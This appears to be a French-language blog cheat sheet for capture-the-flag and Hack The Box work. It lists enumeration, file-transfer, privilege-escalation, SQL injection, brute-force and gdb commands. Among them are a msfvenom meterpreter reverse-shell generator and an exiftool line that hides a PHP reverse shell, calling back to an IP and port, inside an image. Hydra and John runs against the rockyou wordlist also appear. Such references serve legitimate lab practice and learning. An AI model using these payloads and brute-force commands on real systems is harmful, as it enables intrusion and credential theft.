Une simple page de mémo pour les CTF 🙂




SOMMAIRE :

→ Reverse shell samples
→ Scripts d’énumération automatique
→ Commandes d’interaction (pour CTF communs)
→ Transfert de fichiers
→ Enumération
→ Exploitation & Elévation de privilèges
→ Injection SQL
→ Bruteforce
→ Mémo aassembleur



Reverse shell samples :

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet



Scripts d’énumération automatique :

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh


Commandes d’interaction (pour CTF communs)

who

-> Affiche les tty connectés

wall "hello world !"

-> Envoie un message sur tous les tty connectés


Transfert de fichiers

socat TCP4-LISTEN:1234 TCP4:10.10.10.171:80 &

-> Lance un relai TCP vers une autre machine (pivoting)

Pratique lorsqu’on se connecte à HTB via un VPS

python -m SimpleHTTPServer <PORT>

-> Lance un serveur web dans le répertoire local

apt-get install python-pyftpdlib
python -m pyftpdlib -p 21

->Lance un serveur ftp dans le répertoire courant

impacket/examples/smbserver.py -smb2support -username guest -password guest share /root/htb

-> Lance un serveur smb accessible en tant que guest/guest

Possibilité d’y accéder sous Windows avec un net use


Enumération :

nslookup -type=<MX / A / AAA / TXT / CNAME / PTR> <DOMAIN>

nslookup -type=MX test.fr

nmap ( 
 -A : détection du système et des versions
 -sP : simple ping scan
 -sS/sT/sA/sW/sM: Scans TCP SYN/Connect()/ACK/Window/Maimon
 -sN/sF/sX: Scans TCP Null, FIN et Xmas
 -sU: Scan UDP 
 -T4 : Définit une temporisation[0-5]
  )

nmap -A -T4 -sV 10.10.10.157

nmap --script <SCRIPT> -p <PORT> <IPADDRESS>

nmap –script smb-vuln* -p 139,445 10.10.10.134

nikto -h <URL> -p <PORTS>

nikto -h 192.168.0.1 -p 80,443

gobuster --url <IP ADDRESS> dir --wordlist <WORDLIST> -x <EXTENSION>

gobuster –url 10.10.10.157 dir –wordlist /usr/share/wordlists/dirb/big.txt -x php,txt,html,htm

-k -> pas de vérification du certificat SSL

smbclient --list //<IPADDRESS>/ -U ""

Enumération des répertoires partagés accessibles en anonymous

rpcclient -U "" -N 10.10.10.180

Accès en RPC de façon anonyme (WINDOWS)

enum4linux -a 10.10.10.180

Enumération SMB, RPC & co (WINDOWS)

cat *.txt | gobuster --url 10.10.10.157 dir --wordlist -

-> pour piper plusieurs wordlists dans gobuster

dirb <url> <wordlist>

dirb http://docker.hackthebox.eu:58651 /usr/share/dirb/wordlists/vulns/apache.txt

dirb options :
 -a "agent" -> spécifie un user-agent
 -R -> récursivité interactive
 -o output.txt -> redirige l'output
wfuzz --hh=<PARAM_SIZE>  -w <WORDLIST> <URL>.php?<PARAM_NAME>=test

wfuzz –hh=24 -w /usr/share/dirb/wordlists/big.txt http://docker.hackthebox.eu:42566/api/action.php?FUZZ=test


Exploitation & Elévation de privilèges :

python -c 'import pty; pty.spawn("/bin/sh")'

Pour obtenir un shell plus élevé, afin de passer d’un reverse shell à un shell complet

padbuster <URL> <COOKIE> <BLOCK_SIZE> -cookies "<PHPESSID_COOKIE> <OPTIONNAL_COOKIES>" --plaintext '<NEW_VALUE>'

padbuster http://docker.hackthebox.eu:59436/profile.php tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D 8 -cookies “PHPSESSID=74j9m7o8pbaq8pdoq3l56rvpk4; iknowmag1k=tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D” –plaintext ‘{“user”:”test”,”role”:”admin”}’

searchsploit -t <INTITLE>  <KEYWORDS> -w

searchsploit windows local smb

sudo -l

-> liste les commandes autorisées pour l’utilisateur courant

find / -type d -writable 2> /dev/null

-> Liste les répertoires accessibles en écriture

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null

-> Liste les binaires exécutables par l’utilisateur courant

find / -type f -perm /6000 -ls 2>/dev/null 

-> Liste les fichiers setuid/setgid sur le système

find / -iname "mon_fichier" -print 2>/dev/null

-> Trouver un fichier précis sur le système

msfvenom -p windows/meterpreter/reverse_tcp lhost=<LOCALIP> lport=<LOCALPORT> -f <FORMAT> > <OUTPUTFILE>

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.100 lport=4444 -f exe > payload.exe

 exiftool -Comment='<?php $sock = fsockopen("<IPADDRESS>",<PORT>);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>'   <IMAGE>

exiftool -Comment='<?php $sock = fsockopen(“10.10.10.1”,1234);$proc = proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>’ photo.png


Injection SQL :

sqlmap -u <URL> (--dbs / --tables -D <DATABASE> / --columns -D <DATABASE> -T <TABLENAME>)

sqlmap -u http://bidule.fr/index.php?id= –columns -D information_schema -T USER_PRIVILEGES


Bruteforce :

crunch <MIN> <MAX> <CONTENT>

crunch 4 15 “abcdefghijklmnopqrstuvwxyz”

hydra -l <USER> -P <WORDLIST> <IP ADDRESS> <METHOD> <URL>

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.157 http-get /monitoring

hydra -l <LOGIN> -P <WORDLIST> <URL> <METHOD>"<PAGE>:<ARGUMENT>=^<VALUE>^:<INCORRECT STRING>" -w <THREADS> -s <PORT>

hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form “/index.php:password=^PASS^:Invalid password” -w 10 -s 45692

john --incremental <HASHFILE>

Pour bruteforcer de façon incrémentale

john <HASHFILE> --wordlist=/usr/share/wordlists/rockyou.txt

Pour bruteforcer avec un dictionnaire

Script de bruteforce anti-CSRF :

https://github.com/J3wker/anti-CSRF_Token-Bruteforce


Mémo Assembleur

Les Registres et leurs fonctions :

Les Instructions :

Commandes gdb :

disass main -> désassemblage de la fonction main

b *0x5655555d0 -> placer un breakpoint à l’adresse spécifiée

x/x $eip -> Affiche la valeur d’un registre ($ = valeur)

x/i $eip -> Affiche la prochaine instruction dans le registre eip

x/wx $esp -> Affiche la valeur sur la stack

r -> run

c -> continue

dumpargs -> dumper les arguments du programme

Pour faire un buffer overflow, il suffit de récupérer l’adresse de la sauvegarde du registre eip et l’adresse de début du buffer, on peut soustraire les deux et trouver le nombre de caractères que prend en compte notre buffer

Compiler sans protection :

gcc -m32 -fno-stack-protector -z execstack bof.c -o bof

-> Si la compil en 32bits ne fonctionne pas, installer libc en 32bits :

apt-get install libc6-dev-i386